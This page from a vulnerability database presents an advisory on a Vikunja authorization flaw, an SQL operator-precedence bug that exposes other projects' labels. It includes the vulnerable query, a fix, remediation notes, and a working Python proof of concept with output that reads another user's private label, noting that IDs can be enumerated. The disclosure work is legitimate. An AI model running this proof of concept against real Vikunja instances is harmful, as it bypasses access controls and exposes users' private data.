Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Lifecycle Timeline
4DescriptionGitHub Advisory
Summary
The hasAccessToLabel function contains a SQL operator precedence bug that allows any authenticated user to read any label that has at least one task association, regardless of project access. Label titles, descriptions, colors, and creator information are exposed.
Details
The access control query at pkg/models/label_permissions.go:85-91 uses xorm's query chain in a way that produces SQL without proper grouping:
has, err = s.Table("labels").
Select("label_tasks.*").
Join("LEFT", "label_tasks", "label_tasks.label_id = labels.id").
Where("label_tasks.label_id is not null OR labels.created_by_id = ?", createdByID).
Or(cond).
And("labels.id = ?", l.ID).
Exist(ll)The xorm chain .Where(A OR B).Or(C).And(D) generates SQL: WHERE A OR B OR C AND D. Because SQL AND has higher precedence than OR, this evaluates as WHERE A OR B OR (C AND D). The labels.id = ? constraint (D) only binds to the project access condition (C), while label_tasks.label_id IS NOT NULL (part of A) remains unconstrained.
Any label that has at least one task association passes the IS NOT NULL check, regardless of who is requesting it.
Proof of Concept
Tested on Vikunja v2.2.2.
import requests
TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"
def login(u, p):
return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]
def h(token):
return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
a_token = login("labeler", "Labeler123!")
b_token = login("snooper", "Snooper123!")
# labeler creates private project, label, task, and assigns label
proj = requests.put(f"{API}/projects", headers=h(a_token),
json={"title": "Private Project"}).json()
label = requests.put(f"{API}/labels", headers=h(a_token),
json={"title": "CONFIDENTIAL-REVENUE", "hex_color": "ff0000"}).json()
task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h(a_token),
json={"title": "Q4 revenue data"}).json()
requests.put(f"{API}/tasks/{task['id']}/labels", headers=h(a_token),
json={"label_id": label["id"]})
# snooper reads the label from labeler's private project
r = requests.get(f"{API}/labels/{label['id']}", headers=h(b_token))
print(f"GET /labels/{label['id']}: {r.status_code}")
# 200 - should be 403
if r.status_code == 200:
data = r.json()
print(f"Title: {data['title']}")
# CONFIDENTIAL-REVENUE
print(f"Creator: {data['created_by']['username']}")
# labelerOutput:
GET /labels/1: 200
Title: CONFIDENTIAL-REVENUE
Creator: labelerLabel IDs are sequential integers, making enumeration straightforward.
Impact
Any authenticated user can read label metadata (titles, descriptions, colors) and creator user information from any project in the instance, provided the labels are attached to at least one task. This constitutes cross-project information disclosure. The creator's username and display name are also exposed.
Recommended Fix
Use explicit builder.And/builder.Or grouping:
has, err = s.Table("labels").
Select("label_tasks.*").
Join("LEFT", "label_tasks", "label_tasks.label_id = labels.id").
Where(builder.And(
builder.Eq{"labels.id": l.ID},
builder.Or(
builder.And(builder.Expr("label_tasks.label_id is not null"), cond),
builder.Eq{"labels.created_by_id": createdByID},
),
)).
Exist(ll)--- *Found and reported by aisafe.io*
AnalysisAI
Vikunja API versions prior to 2.3.0 allow authenticated users to read any label metadata and creator information across projects via SQL operator precedence flaw in the hasAccessToLabel function. Any label attached to at least one task becomes readable to all authenticated users regardless of project access permissions, enabling cross-project information disclosure of label titles, descriptions, colors, and creator usernames. The vulnerability requires prior authentication (PR:L per CVSS vector) and carries low complexity attack surface with direct impact to confidentiality. No public exploit code beyond the proof-of-concept in the advisory has been identified, and vendor-released patch version 2.3.0 is available.
Technical ContextAI
The vulnerability exists in Vikunja's Go API codebase (CPE: pkg:go/code.vikunja.io_api) within the label permission checking logic at pkg/models/label_permissions.go:85-91. The root cause is a CWE-863 (Incorrect Authorization) vulnerability stemming from improper SQL operator precedence in the xorm ORM query builder. The hasAccessToLabel function chains WHERE, Or, and And clauses without explicit parenthetical grouping, resulting in SQL that evaluates as WHERE (label_tasks.label_id IS NOT NULL) OR (other_conditions) OR (project_access_check AND label_id). Because SQL AND has higher precedence than OR, the final label_id constraint binds only to the project access condition rather than the entire permission check. This allows the unconstrained task association check to pass for any label with at least one task, bypassing the intended project-level access control. The xorm library's fluent API does not provide implicit precedence handling, requiring explicit builder.And/builder.Or calls with proper nesting to produce secure SQL.
RemediationAI
Upgrade Vikunja to version 2.3.0 or later, which includes the patched hasAccessToLabel function with explicit builder.And/builder.Or grouping to enforce correct SQL operator precedence. The vendor-released patch is available at https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0. Upstream fix commit fc216c38afaa51dd56dde7a97343d2148ecf24c1 (merged via PR #2578) provides the implementation details. For users unable to upgrade immediately, audit access control configurations and monitor API logs for anomalous label enumeration patterns (repeated GET requests to /api/v1/labels with varying IDs from single authenticated accounts). The advisory at https://github.com/go-vikunja/vikunja/security/advisories/GHSA-hj5c-mhh2-g7jq provides additional context. No additional workarounds are available; patching is the primary remediation path.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-863 – Incorrect Authorization
View allSame technique Information Disclosure
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-21420
GHSA-hj5c-mhh2-g7jq